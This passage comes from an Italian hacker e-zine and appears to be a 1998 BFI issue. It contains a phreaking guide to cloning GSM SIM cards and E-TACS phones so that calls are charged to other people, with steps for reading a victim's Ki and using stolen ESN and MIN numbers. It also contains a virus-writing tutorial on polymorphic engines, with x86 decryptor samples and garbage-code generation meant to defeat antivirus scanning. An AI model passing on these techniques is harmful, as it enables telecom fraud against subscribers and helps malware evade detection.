E' pur vero che su Internet le informazioni viaggiano rapidamente (vedi esempio
sopra), ma se tu dai allo stesso server invece che 1, 1000 richieste in
contemporanea mi sa che devi aspettare almeno un minutino prima di ricevere
risposta.
Pensate in questo momento in TUTTA Italia quanta gente sta infilando una
tessera in un telefono e pensate pure ad un server potente, ma non vi paiono
pochi 0,5-1 secondo in media (a partire dalla lettura all'arrivo del totale)?
E poi se cio' fosse vero il telefono dovrebbe rimanere collegato per l'intera
durata della telefonata per aggiornare l'archivio e lo sapete adesso quanta
gente e' attaccata ad un telefono pubblico?
Secondo me l'ipotesi piu' plausibile e' che vi siano piu' di un server
dislocati in Italia che vengono tenuti constantemente aggiornati tra di loro.
La mia opinione e' che la Telecom utilizzi la rete inteliggente solo ed
esclusivamente per controllare i numeri di serie in modo da poter rendere
inutili ingenti quantita' di schede rubate o schede riprodotte bloccandone la
utilizzazione.
In questo modo risparmierebbe tempo nell'autenticazione e si spiegherebbe il
fatto che le tessere continuino a contenere l'importo.
In definitiva le tessere entrano nel telefono e solo quando vengono terminate
sono segnalate come tali alla rete.
Cmq evidentissimo e' il fatto che non tutti i Rotor sono connessi alla rete
nemmeno quelli di ultima generazione visto che sotto casa mia c'e' un rotor
solo a schede al quale arriva un solo doppino di cavi e non due come descritto
prima.
Utopia e' secondo me l'eventualita' che i Serial siano progressivi o di facile
algoritmo, una volta che si fanno non vedo perche' si sarebbero dovuti fare
cosi' facili da riprodurre.
Cmq io non mi scoraggio, 5 o 6 mesi fa mi e' capitato di ascoltare al TG1 di
una mega truffa ai danni della telecom. Con una macchina particolare una banda
prendeva le SCHEDE VECCHIE e le RICARICAVA rivendendole a meta' costo ai
tabaccai che cosi' ci guadagnavano il 50 %.
A tutte pero' mancava il famoso talloncino di garanzia che e' stato fatale alla
banda, che e' stata cosi' catturata. Ora se tutto cio' e' vero, questi hanno
scoperto l'algoritmo e hanno trovato il modo di ricaricare una scheda, di
cancellarla e di riscriverla. Se ci sono riusciti loro........."
|PazzO|
A voi la sentenza... siete localisti o serialisti ? o una via di mezzo?
Volete propormi una nuova filosofia :) ? Scrivete a bfi98@usa.net per
qualsiasi commento o idea..
Ringrazio moltissimo TimeScape, CDP, Poldo per l'interesse dimostrato e per
tutte le informazioni che sono giunte nella mia mailbox.
Spero di avere presto delle novita'.....
Jack McKrak
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍPHREAKiNGÍÍÍÍÍÄÄÄÄÄÄÄÄÄ CELLULARi AND RELATED - III PARTE ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍͼ
Autore: |PazzO|
Consumo: 20 ore di sonno + o -, 5 Startac rubati (scherzo), 1 pacco di Marlboro
Lights alla Menta from CUBA
Rompimenti di coglioni: Telefono maledetto, Estate' finito, magnum squagliato,
Caldo a 45ø
Musica Ascoltata: OasiS ora e sempre.
Dedica: A tutti (Specialmente S......) sperando che impariate qualcosa.
Subject: GSM cloning (Almeno questo era l'intento prima di scrivere l'articolo)
Eccoci di nuovo qui, con il nostro bel cellulare E-Tacs clonato fresco fresco
in mano e con tanta voglia di andare avanti.
In questa parte della mia mini-guida cerchero' di spiegare come funziona il
sistema GSM e come si possa fare per clonare una Sim card e chiamare gratis
(a spese altrui).
Prima di tutto e' bene fare distinzione tra Cellulare e Sim Card. Il Cellulare
GSM e' un semplice apparecchio che contiene l'Hardware necessario alla
connessione alla rete e il Firmware con le opzioni che gestiscono l'Hardware
e le funzioni della Sim Card stessa. La Sim Card (per capirci e' la carta che
si inserisce nel cellulare a forma o di francobollo o di tessera) e' un
microchip che contiene i numeri che identificano il nostro gestore
(Tim-Omnitel), l'identificativo del nostro abbonamento e gli algoritmi per
identificarsi in rete (ki, A8 etc).
Ora, mentre per gli E-tacs era necessario semplicemente riprogrammare lo stesso
e inserire i numeri di identificazione nuovi (per i dettagli vedi BFI2 Cellular
and Related by |PazzO|) in questo caso e' necessario "duplicare" la sim card
in modo da poter crearne una identica e utilizzare il contratto di qualcun
altro. Prima di tutto e' necessario quindi analizzare la Sim Card in ogni sua
parte poiche' e' qui che concentreremo i nostri sforzi.
La Sim Card (Subscriber Identity Modume) contiene fra le altre cose un
processore capace di eseguire algoritmi di criptazione oltre ad una memoria
seriale.
Nella memoria sono conservati tutti i dati in formato digitale che servono
al GSM, precisamente:
1) International Mobile Subscriber Identity (IMSI) che definisce il numero di
identificazione del proprietario e il gestore che ha emesso la carta.
2) Individual subscribers authentication key (Ki) che e' la chiave di
autenticazione.
3) Ciphering key generating algorithm (A8) che e' l'algoritmo comune delle
carte GSM.
4) Authentication algorithm (A3) che e' l'algoritmo che genera la risposta
durante l'autenticazione.
5) Il famoso PIN 1 e PIN 2 (Personal Identification Number) per la sicurezza
della Sim.
6) Il PUK che non sto a spiegarvi (sicurezza del PIN).
7) La rubrica dei numeri di telefono.
8) I messaggi memorizzati (SMS).
9) La lista di gestori che si preferisce in "Ricerca rete".
Per capire come funziona l'autenticazione al network basta leggere la seconda
parte di questa guida (si trova in BFI2) nel quale mi pare di avere illustrato
tutto per bene.
Ora vediamo di capire DOVE sono memorizzati questi dati sulla sim card.
Ecco il Chip:
+---------------+ Uscite dei Pin: 1 : Voltaggio (5v) (!?!)
| 4 | 3 | 2 | 1 | 2 : Reset
| | | | | 3 : Orologio
| |-------| | 4 : Non In uso
+---+ +---+ 5 : Ground
| | | | 6 : Voltaggio di programmazione
| | | | | 7 : Dati Input/Output
| 8 | 7 | 6 | 5 | 8 : Non in uso
+---+---+---+---+
_____
| _ |
| |S| |---------> Questa e' la posizione della carta per comprendere il
| | disegno sopra.
| | S = Chip della sim card (rivolta verso l'alto)
| TiM |
|_____|
Come potete vedere il cellulare e' connesso in sei punti alla sim card ed e' da
li' che vi dialoga e la interroga.
Ogni cellulare contiene i comandi esatti che necessita la Sim Card per essere
interrogata e gli unici ai quali essa risponde (es. A0 20 00 08 seguito dal
pin in esadecimale e' l'operazione che facciamo alla SIM ogni volta che
accendiamo il cellulare e inseriamo il PIN).
Ora il nostro compito e' esattamente DUPLICARE la sim card di un altro per
usarla a nostro uso e consumo.
Il cellulare GSM puo' entrare sulla Sim in Lettura e scrittura poiche' possiede
l'Hardware adatto. Schematicamente cio' che ci tocchera' fare e':
1) Collegare il GSM al Pc tramite porta parallela con il cavo che abbiamo
precedentemente costruito (grazie ad uno schemino + o - semplice).
2) Lanciare un emulatore di Sim Card per far credere al celly di averne una
valida inserita e per poter usare il cellulare e riprogrammare il suo
Firmware.
3) Adesso possiamo personalizzare i menu', copiare il contenuto del cellulare
sul pc, svuotarlo.
4) Copiare il contenuto di una SIM valida sul cellulare vuoto.
5) Portarlo sul PC.
6) Chiamare Gratis :)
Ora la parte piu' difficile e' costruire il cavo anche se nel programma fornito
con questo numero di BFI si trovano schemi dettagliati, ma se vi potete fare
dare una mano da uno che ne capisce di elettronica fate meglio e fate prima.
Una volta pronto il cavo ed interfacciato il vostro cellulare sul PC lanciate
il programma ASIM ed accendete il cellulare.
Ora siete in grado si manipolare il software del cellulare, attivare funzioni
nascoste, cambiare le scritte dei menu', utilizzare il cellulare a proprio
piacimeto.
Da questo punto in poi vi consiglio di non agire se non siete dei veri ESPERTI.
Copiate e salvate i frame del vostro cellulare sul vostro PC e custoditeli,
contengono tutto il software del vostro celly.
Adesso cancellateli dal vostro telefonino svuotandolo da tutto.
Accedete tramite gli appositi comandi alla SIM card VALIDA e leggetene il Ki e
l'IMEI.
Copiateli sul PC e inseriteli nel programma SIM emulator che ne e' privo.
Ripristinate il Firmware del cellulare ricopiando i frame ad uno ad uno sullo
stesso.
CHIAMATE GRATIS.
Per i comandi validi vi rinvio all'help del Sim Emulator che e' molto
dettagliato e fatto molto bene.
Tutto cio non e' purtroppo semplice, ma e' in corso un progetto di GSM Cloning
mio e di Dashie che ha come obbiettivo il semplificare i passaggi sopra
descritti e magari il creare un programmino che aiuti tutti quanti vogliano
cimentarsi.
I risultati di detto Project saranno probabilmente pubblicati al pubblico sul
numero autunnale di BFI.
Cmq non disperate, presto riuscirete a clonare anche i GSM, e' questione di
tempo e pazienza (d'altronde e' uno standard molto recente).
Se fino ad adesso mi sono concentrato sulla Sim Card cio' non toglie che anche
gli apparecchi (GSM 900) hanno i loro segreti ed aspettano solo di essere
svelati.
Mentre gli E-tacs forniti di ESN (Electronic Serial Numba) erano clonabili via
software con un semplice cavo se non addirittura via tastiera, anche i GSM
hanno delle funzioni o menu' inibiti o per motivi di legislazione o per
guadagnare piu' soldi facendo uscire versioni nuove degli STESSI cellulari.
Il piu' famoso e sputtanato segreto e' quello del Motorola 8700 "ENG FIELD
OPTION".
Questa funzione permette di attivare un indicatore che calcola la distanza
esatta in metri dell'antenna base al cellulare per localizzare la stessa
(proibito dalla legge naturalmente) e in secondo luogo permette di visualizzare
durante una chiamata la qualita' del segnale e la cella utilizzata, visualizza
anche se il segnale e' basso o assente (se assente per + di 5 sec mostra la
nuova cella selezionata e lo switching).
Per attivare questa funzione basta avere un motorola d460, 2500, 6200 (Flare),
7500, 8200, 8400 o 8700 (non troppo recente) ed eseguire la procedura:
ATTIVA [pause] [pause] [pause] 1 1 3 [pause] 1 [pause] [ok]
DISATIVA [pause] [pause] [pause] 1 1 3 [pause] 0 [pause] [ok]
(pause vuol dire tenere premuto * fino a quando nno appare un quadratino sul
display).
Poi si va nel menu' e magicamente appare la nuova funzione, si attiva ed e'
fatto.
Adesso se MENTRE CHIAMATE volete sapere dove sta l'antenna andate nel menu',
selezionate ENG FIELD OPTION poi selezionate ACTIVE CELL. Adesso schiacciate
menu fino a quando non appare: TIME ADV xxx dove l'xxx e' un numero che
moltiplicato per 550 da' la distanza in metri.
Per sapere invece la cella basta ripetere l'operazione di prima in stand-by,
solo che invece di TIME ADV xxx vi apparira' C1 e il valore del segnale in
decimale. Molti di voi si saranno chiesti che ci faccia l'orologio sull'8700
se poi non va. Beh quell'orologio va e come solo che per farlo andare MOTOROLA
si e' dimenticato (apposta) il quarzo e quindi non cammina e rimane fermo
sempre alla stessa ora.
CMQ per attivarlo andate con l'ASIM nei frame e quando troverete clock 0
mettete clock 1.
Ah, dimenticavo, per vedere l'IMEI sul vostro motorola 8700 schiacciate *#06#
(mi pare anche sugli ericsson) e vi eviterete la fatica di costruirvi il cavo.
Ogni cellulare ha i suoi segreti che sono facilmente reperibili su Inet
( www.mobileworld.org ; www.cellular.co.za/gsm-phonesecrets.htm ) e
funzionano QUASI sempre, se siete smanettoni come me ben presto arriverete
a rischiare di bruciare il vostro startac 85/100 solo per vedere all'accenzione
un bel disegnino con la scritta |PazzO| e un teschietto disegnato al PC.
Per ritornare agli E-tacs, nella seconda parte avevamo clonato un E-tacs adesso
faccio un regalino ai possessori di motorola regalandogli il SOFTWARE UFFICIALE
(per intenderci e' quello che usa anche il centro assistenza sotto casa) per
riprogrammare una buona parte dei telefoni motorola E-tacs con il PC.
Ricordate, ecco i passaggi:
1) FOTTERE UN ESN (sotto la batteria di tutti gli e-tacs) e il MIN (numero
di Tel del povero celly che verra' clonato) [pensate che conosco un tipo
che raccoglie la spazzatura dei centri tim e ne fotte a centinaia!].
2) Preparare il cavo per collegare il VOSTRO celly al PC (Li trovate facilmente
su Inet).
3) Lanciare il programma.
4) In 60 secondi netti (io ho fatto anche di meglio sotto i 20 sec) inserire
i nuovi dati [ci potete mettere anche un ora se avete time to waste].
5) Staccare il tutto.
6) Chiamare Gratis.
Ripeto, se ho scritto stronzate e cazzate (non e' possibile), cose giustissime,
vi ho reso felici e mi volete aiutare, collaborare scrivete a:
BFI98@usa.net e indirizzate la lettera a me.
Io sono solo un amatore e non ho soldi da spendere per comparare i costosi
libri sul sistema GSM quindi se mi volete aiutare, uniti si fotte meglio e
di +.
Ora volo al mare, ci vediamo a Settembre con altro Phr e speriamo finalmente di
scrivere anche di Hacking!!!!!!
|PazzO|
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍViRiiÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ M0T0Ri P0LiM0Ri ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Autore: b0z0/iKX
Consumo: qualche litro di yogurt da bere (...e vomitare + sul tardi)
un mix di un po' di qualsiasi altra cosa che possa essere bevuta
una melanzana (w0w!)
Musica ascoltata: Garbage - Garbage e Version 2.0
Sonic Youth - A Thousand Leaves
Smashing Pumpkins - Adore
Joan Jett and the Blackhearths - bo, una cassetta non mia
Dedicato a: TAnK_G|rL
Greets: tutto il SoftPJ, tutto l'IKX e tutti gli altri fratelli e sorelle
Intro:
ÄÄÄÄÄÄ
Uno dei punti fondamentali per un virus e' indubbiamente la capacita' di non
farsi trovare dai vari antivirus in memoria oppure sulla vittima scelta (sia
questa file, boot sector o che altro). Fino a non troppo tempo fa gli antivirus
per trovare un virus si affidavano semplicemente alla ricerca di una data
stringa (corrispondente ad una sequenza di comandi) conosciuta contenuta nel
virus. L'idea su cui si basa il polimorfismo e' appunto il cambiare forma ogni
volta che ci sia questa necessita' (x esempio ad ogni infezione), non lasciando
quindi una stringa fissa agli antivirus researchers.
Un motore polimorfo e' infatti proprio un pezzo di codice da poter aggiungere
al proprio virus che ha il compito di renderlo ogni volta differente. Per poter
raggiungere questo un motore polimorfo in genere dovra' svolgere due passi
principali:
1) Crittare il virus (e se stesso ovviamente) con un qualche algoritmo
cambiando la chiave ad ogni generazione in modo che non possa venire
piu' utilizzata una semplice stringa di scansione
2) Generare un pezzo di codice che decritti il virus al momento opportuno
(quando il virus dovra' entrare in azione)
Le operazioni matematiche + banali che possono essere facilmente usate per
crittare il corpo del virus disponibli su x86 sono le solite ADD, SUB, XOR...
Si puo' vedere subito che anche semplicemente usando una di queste tre
operazioni crittando byte x byte abbiamo 256 possibili mutazioni del corpo del
virus. Combinandone alcune (magari cambiando la chiave ad ogni byte) o crittando
word per word o adirittura prendendo in considerazione un dword alla volta le
possibili mutazioni crescono a dismisura.
Il vero problema e' che, chiaramente, insieme alla parte crittata del virus
nelle sue innumerevoli possibili variazioni dovremo mettere anche il codice
che decritti la cosa voluta. Infatti nel momento in cui il virus dovra' essere
eseguito non avrebbe molto senso far eseguire i bytes crittati al processore :)
Ma ovviamente scrivendo semplicemente il pezzo di codice che decritti la parte
crittata saremmo arrivati di nuovo al punto di prima: infatti gli AV dovrebbero
solo usare la routine di decrittazione come stringa di scansione e troverebbero
cmq il virus.
La parte piu' interessante ed impegnativa nella scrittura di un motore
polimorfo e' appunto la scrittura del code che crea il decryptor. Supponiamo
ad esempio di aver crittato il nostro codice usando un xor a bytes con il
valore 12h, allora il decryptor potrebbe essere:
mov cx,encrypt_lenght
mov di,encrypt_zone
dloop:
xor byte ptr [di],12h
inc di
loop dloop
Quindi partendo dal puntatore DI (che si presume punti alla parte crittata)
per il dato numero di bytes messi in cx eseguiremo la decrittazione (credo non
ci sia bisogno di spiegare che ((A xor B) xor B) = A no? :) ). Ma usando una
cosa fissa di questo tipo (o magari anche solamente cambiando la chiave)
vorrebbe dire dare agli AV abbastanza codice fisso x scannarci. Ma lo
stesso decriptor si puo' anche scrivere, che ne so:
mov si,encrypt_zone
mov bx,encrypt_lenght
dloop:
dec bx
xor byte ptr [si],12h
inc si
or bx,bx
jnz dloop
O in altri mille modi. Inoltre, perche' no, tra un istruzione vitale per il
decryptor e l'altra potremmo metterci qualche istruzione casuale che non vada
a rompere alla routine principale.
Ed e' proprio questo quello che un motore polimorfo deve fare: generare il
maggior numero possibile di routine per la decrittazione in modo tale che
l'antivirus non possa usare queste (o parti di queste) come stringa per la
scansione. Certo, questa e' solo l'idea basilare per non dare la possibilita'
ad un AV di ricercare il virus con una stringa. Infatti le poly engines moderne
per controbattere agli AV un po' meno penosi (hehe :) ) devono fare anche
altro, ma prima ci concentreremo sulla teoria di un motore polimorfo senza
troppe finezze :)
I codici del x86:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Prima di incominciare a scrivere propriamente dei motori polimorfi dobbiamo
dare uno sguardo al formato delle istruzioni della famiglia di processori
x86. Essendo un motore polimorfo nient'altro che un generatore di codice a
tutti gli effetti, ovviamente e' necessario conoscere bene come funzionano
i codici operativi (opcode) del processore. Per chi si addentrera' nello
scrivere un motore polimorfo e' cmq necessario disporre di una tabella di
tutte le opcode del processore che puo' essere trovata
su qualche libro o
tanto meglio scaricata da qualche sito.
Principalmente ogni tipo di istruzione asm ha una sua parte fissa piu' una
parte che cambia in base al registro (o ai registri) usati con quella data
operazione.
Forse facciamo prima e sara' molto + chiaro con un esempio :)
Operazione mov reg16,imm16
E' un operazione che muove il valore imm16 (un immediato da 16 bit come il
nome stesso dice ;) ) nel registro a 16 bit scelto. Vediamo il codice di un
paio di esempi di questa operazione:
mov ax,0h B8 0000
mov cx,0h B9 0000
mov bx,0h BB 0000
etc. Possiamo subito vedere come vanno le cose. Ad un opcode di partenza
(B8 in questo caso) viene aggiunto un dato valore in base al registro scelto
e piu' precisamente possiamo creare il codice opportuno per qualsiasi registro
aggiungendo il valore rispettivo seguendo questa tabella:
Registro ³ Valore
ÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ
AX ³ 000b
CX ³ 001b
DX ³ 010b
BX ³ 011b
SP ³ 100b
BP ³ 101b
SI ³ 110b
DI ³ 111b
Quindi sapendo l'opcode di partenza trovato nelle specifiche del processore
possiamo facilmente generare codice x qualsiasi dei registri disponibili.
Quando invece di usare registri a 16 bit usiamo registri a 8 bit le cose
sono piu' o meno uguali. Cambia ovviamente l'opcode di partenza (per esempio
mov reg8,imm8 corrisponde nel caso base mov al,0h al codice B0 00) e cambia
la tabella di addizione per i registri che si trasforma in:
Registro ³ Valore
ÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ
AL ³ 000b
CL ³ 001b
DL ³ 010b
BL ³ 011b
AH ³ 100b
CH ³ 101b
DH ³ 110b
BH ³ 111b
Semplice. Qualcuno potrebbe chiedersi cosa succede usando registri dword
(a 32bit). Beh, li' rimane tutto uguale come per le word, solo che ci viene
aggiunto prima il byte di prefisso 66h o 67h (dipende dal comando voluto).
Cosa succede quando l'operazione richiede due registri da usare? Beh, la
cosa e' simile, ad esempio per un generico mov reg16_1,reg16_2 ci basta
prendere l'opcode base dell'istruzione (8B C0 in questo caso, dalla doc
vedrete che il primo byte rimane fisso quindi per i registri andremo a
cambiare solo il secondo) sommare il valore del registro sorgente (reg16_2)
e dopodiche' sommare il valore del registro di destinazione moltiplicato per
8 (che poi si riduce ad un shift a sinistra di 3). Quindi ad esempio per un
mov cx,dx avremo C0h + 02h + (8 * 01h) e quindi il codice per l'istruzione
voluta sara' infine 8B CA.
Chiaramente ove l'istruzione richiede un valore immediato (come nell'esempio
precedente), un indirizzo di memoria, un offset da un registro o qualcos'altro
oltre al codice verra' aggiunta di seguito dopo l'opcode di base (ad esempio
prima nel mov ax,0000 dopo il B8 chiaramente ci e' andata una word 0h).
E questa e' in brevissimo la teoria sulla quale si basano le opcodes della
famiglia di processori x86. Queste cose, se pur banali e magari pallose, sono
fondamentali per evitare di scrivere kilobyte e kilobyte di codice inutile
invece di utilizzare una semplice tabella con una somma :)
Ci sono ancora un paio di cosette sulle quali fare attenzione da dire per
evitare di farvi perdere troppo tempo nella ricerca sulle tabelle delle opcodes
che cmq dovrete prendervi e iniettarvele nelle vene:
- esistono una sfilza di codici otimizzati per il registro accumulatore (AX) e
per gli otto bit inferiori di questo (AL). Attenzione a NON considerare
quelli come codice base alla quale aggiungere i valori della tabella sopra,
dato che quelli sono appunto codici otimizzati SOLO per l'AX e l'AL.
Esempio:
and al,01h ; 24 01
and al,01h ; 80 E0 01
and cl,01h ; 80 E1 01
E' chiaro che se prenderete la prima (otimizzata) come base farete una
gran bella schifezza :) Quindi se volete utilizzare quella ottimizzata
(perche' no) ricordatevi di mettere un check aggiuntivo per l'AL e l'AX.
- quando usate operazioni matematiche attenti alle diverse opcodes in base
alla grandezza del vostro argomento. Infatti, esempius:
add cx,01h ; 83 C1 01
add cx,01h ; 81 C1 0001
Chiaramente la differenza delle due e' che nella prima l'operazione puo'
essere fatta con l'argomento da 00 a 0FFh mentre nella seconda da 0000h a
0FFFFh sebbene poi tutti e due lavorino su tutti e 16 i bit del registro
voluto. Quindi attenti alla scelta in base all'utilizzo che ne dovete
fare.
Scrittura di un decryptor:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Adesso che la situazione sulla creazione di opcodes a nostro piacimento
dovrebbe essere piu' chiara, alla parte piu' interessante: la generazione
di un decryptor. Vediamo di individuare le parti necessarie per una
semplice routine per la decrittazione del corpo crittato:
- Setup di certi registri necessari e altre possibili cose, + precisamente:
+ almeno un puntatore che puntera' sulla parte da decrittare (a questo
potrebbe essere aggiunto un offset stabile o non stabile)
+ almeno un contatore che ci indichi quando abbiamo finito di decrittare
il corpo crittato
+ eventuale registro per tenere la chiave di decrittazione
+ eventuale correzione di qualche segmento
+ eventuali altri setup (tipo far si' che il segmento di memoria sia
scrivibile se siamo in un sistema che implementa la protezione della
memoria, tipo win16, o fare degli aggiustamenti a dati registri se
magari partiamo dal boot)
- Loop di decrittazione vero e proprio
+ operazione vera e propria che esegue l'operazione matematica per la
decrittazione (usando la chiave come un immediato o la chiave contenuta
in un registro)
+ operazione per spostare il puntatore alla prossima cosa (byte,word..) da
essere decrittata
+ operazione per aggiustare in contatore di operazioni da eseguire
+ eventuale cambio di chiave per il prossimo loop
+ controllo se la decrittazione e' finita, in caso contrario salto all'
inizio del loop di decrittazione
Questo piu' o meno e' quello che dovrebbe essere eseguito. Possiamo vedere
subito come certe operazioni debbano avvenire prima di altre mentre per alcune
l'ordine non e' necessario. Ad esempio finche' il puntatore non e' settato bene
sul corpo crittato non ha senso eseguire l'operazione di decrittazione, dato che
andremmo a sputtanare un po' di memoria a caso :) Xo' ad esempio non c'e' alcuna
differenza se invertiamo l'ordine dei tre punti del setup dei registri in
qualsiasi modo. Anche gran parte dei punti interni alla parte loop di
decrittazione puo' essere invertita.
Quindi anche da un set ridotto (immaginando di scrivere per ogni punto sopra
un solo comando) di istruzioni riusciamo a generare + decryptor che cmq
funzioneranno allo stesso modo. Code sample:
decryptor1: decryptor2: decryptor3:
mov ax,100h mov di,200h mov di,200h
mov di,200h mov ax,100h mov ax,100h
loop: loop: loop:
xor [di],1010h dec ax xor [di],1010h
add di,2 xor [di],1010h dec ax
dec ax add di,2 add di,2
cmp ax,0 cmp ax,0 cmp ax,0
jnz loop jnz loop jnz loop
Nell'esempio eseguiremo lo XOR con una word 1010h partendo dall'indirizzo
DS:200h (si presume che DS sia proprio il segmento dove c'e' il codice che
vogliamo decrittare ovviamente) per 100h words (qui AX e' il contatore) e
ovviamente ad ogni passo salteremo alla prossima word (add di,2). Infine
il check che fara' stare nel loop il programma fino alla fine della nostra
decrittazione.
Potete subito vedere che semplicemente swappando un paio di istruzioni, delle
quali l'ordine non e' importante, siamo riusciti a creare tre diversi decryptor.
Credo non ci sia bisogno di dimostrare che i tre pezzi di codice sopra siano
equivalenti (ma magari qualche pirla che ben conosco mi avrebbe chiesto la
dimostrazione formale del equivalenza dei tre pezzi di codice :P ;) ).
Quindi, prima cosa importante da tenere a mente, un modo per creare molti
decriptor e quella di cambiare l'ordine delle operazioni che non necessitano
un dato ordine fisso.
Ma veniamo alla prossima. Cosa potremmo ancora cambiare nelle routine di
sopra? Bah, se non altro per cominciare i registri. Potremmo sceglierne un
altro, che ne so, CX, per il contatore. Oppure SI come puntatore. Ovviamente
dovremmo prestare attenzione a mantenere da qualche parte una tabella con i
registri gia' utilizzati in modo di non cercare di utilizzarne uno per + di
una cosa. Inoltre ovviamente non tutti i registri sono adatti per qualsiasi
lavoro. Come puntatori ad esempio disponiamo di BX,BP,SI e DI. Come contatori
potremmo utilizzare un po' tutti, tranne il SP, dato che il stack pointer
non possiamo utilizzarlo a nostro piacimento xche' viene usato per ben altre
cose dal sistema, come si spera il lettore sappia ;) Anche in caso
utilizzassimo un registro per tenere la chiave di decrittazione potremmo usarne
uno qualunque come per il contatore.
Quindi, punto secondo: utilizzare, scegliendo a caso ad ogni nuova generazione,
tutti i registri disponibili o cmq il maggior numero di questi.
E vedete che gia' adesso i possibili decryptors sono diventati ben molti di
piu' :)
Ma non basta... le mutazioni sono cmq ancora ridotte.
Il terzo passo e' quello di individuare il maggior numero di operazioni che
svolgano un dato compito. Un esempio molto vario e' il check se un registro e'
uguale a zero. Nell'esempio prima abbiamo fatto un banalissimo cmp ax,0.
Ma in verita' potremmo aver fatto:
or ax,ax o
and ax,ax o
xor ax,0 o
add ax,0 o
or ax,0 o qualcos'altro ancora
Tutti i comandi non modificano il registro AX (un po' di logica la conoscete,
vero? :P ) ma in compenso ci settano il flag Z (zero) solo quando il registro
AX sara' uguale a zero, quindi quello che cercavamo. Nello stesso modo l'
add di,2 puo' essere diviso in due inc di, o in due add di,1 o in un inc di
e in add di,1. Un assegnazione ad un registro di 16 bit puo' essere trasformata
in due assegnazioni da 8 bit per certi registri.
Le possibilita' di fare una data operazione in un gran numero di modi diversi
sono veramente molte. Lo spezzettare certe operazioni in un dato maggiore numero
di operazioni + semplici dara' anche la possibilita' di fare + mutamenti nell'
ordine di queste (punto due sopra).
Quindi, terzo punto fondamentale, generare una data operazione nel maggior
numero di modi possibili.
Oltre a questi punti, indubbiamente il piu' interessante e' il poter cambiare
proprio dal punto di vista funzionale i decryptors. Per esempio invece di usare
la chiave fissa come sopra si puo' decrittare usando un registro. Quindi magari
sopra metteremmo un xor [di],dx e ovviamente prima dovremmo settare il registro
necessario. Avendo la chiave in un registro ci viene estremamente semplice
aggiungere un istruzione che magari modifichi la chiave ad ogni loop.
Volendo, invece di usare semplicemente un registro come puntatore possiamo
usarne due, ad esempio uno fisso + uno come offset (es. add [di+bx],1010h).
O usare un registro come puntatore da cambiare e aggiungendogli un offset
fisso come immediato (es. sub [di+200h],bx). Si potrebbe anche caricare il
byte da decrittare nel registro (con un lodsb ad esempio se DS:SI punta al
byte voluto), decrittarlo nel registro (xor al,10h) e poi rimetterlo al
suo posto. Si potrebbe anche aggiungere semplicemente una seconda operazione
nell'algoritmo di crittazione, bo, ruotare ogni word di 1 a sinistra
(un rol [si],1], ovviamente avremmo dovuto ruotarlo prima uno a destra all'
encryption :) ).
Le possibilita' qui sono veramente infinite, e l'efficacia e la completezza
di un motore polimorfo sta proprio nel riuscire a generare il maggior numero
di decryptors possibili, stando sempre attenti pero' a non generare delle
cose che potrebbero essere usate come scan string! Infatti non ha ALCUN senso
mettere ad esempio sempre 10 istruzioni di decrittazione stabili, dato che
queste essendo abbastanza lunghe in genere potrebbero essere poi alla fin fine
usate solo come stringa per la ricerca (e poi inoltre, fare 10 XOR di fila
sullo stesso dato alla fin fine e come farne uno XORando i 10 operandi :) ).
Ovviamente in base al decryptor che viene generato dovremo adattare
l'algoritmo di crittazione o viceversa.
Generare garbage:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Bene, a questo punto bene o male l'idea del funzionamento e di come scrivere
un decryptor e generarne un numero elevato di istruzioni dovrebbe essere chiara.
Comunque indubbiamente non potremo accontentarci di questo, dato che comunque
alcuni antivirus potrebbero comunque scovarli (sul come + tardi) sebbene
magari le varianti siano decine di migliaia o comunque una persona (che
si suppone abbia un cervello, quindi non un utente tipico wind0ze ;) ) con
un debugger trovandosi davanti un certo pezzo di codice si insospettirebbe
subito. Il codice come descritto sopra infatti e' abbastanza strano e
sicuramente non capita tutti i giorni di inciampare in un tal pezzo di codice
in un programma normale.
Per ovviare a questi inconvenienti vengono create tra un pezzo e l'altro
del decryptor un po' di istruzioni valide che pero' non disturbano in alcun
modo il funzionamento del decryptor vero e proprio (quindi non alterano
registri, flag o altre cose necessarie al decryptor vero e proprio) e ovviamente
non devono fare cose strane che insospettiscano l'utente.
Come istruzioni di garbage potete usare un po' qualsiasi cosa: operazioni
matematiche, operazioni logiche, spostamenti, salti, push/pop, chiamate a
finte procedure, comparazioni di registri, lettura di dati in memoria,
scrittura di dati in memoria, chiamate ad interrupt, casini vari... :)
Ovviamente maggiori sono le possibili istruzioni che il motore puo' generare,
migliore e' il motore (non ve lo aspettavate, eh? ;) ). E' importante pero'
notare che, oltre ad essere il + numerose possibile, e' preferibile che il
motore generi istruzioni che potrebbero sono poi effetivamente usate nei
programmi normali. Non e' una buona idea ad esempio generare istruzioni come
un JP o fare un numero elevato a delle chiamate a funzioni di interrupt mai
usati. Comunque, in linea di base, maggiore e' il numero di istruzioni
generabili, maggiori sono le possibili mutazioni del decryptor.
Ovviamente soprattutto per certi tipi di garbage bisogna stare molto attenti.
Generare chiamate ad interrupt (soprattutto il 21h e il 13h, cosa che potete
anche constatare se guardate un po' di programmi normali) e' una buona idea,
ma dovete stare MOLTO attenti ai registri che vengono cambiati da quella
chiamata (e' anche ovvio che non potete usare gli int in qualsiasi momento,
ad esempio generando codice polimorfo per un boot virus non potrete fare
ovviamente chiamate all'int 21h dato che il DOS non e' stato nemmeno ancora
caricato :) ). Anche fare dei push o delle chiamate a funzioni (saltando
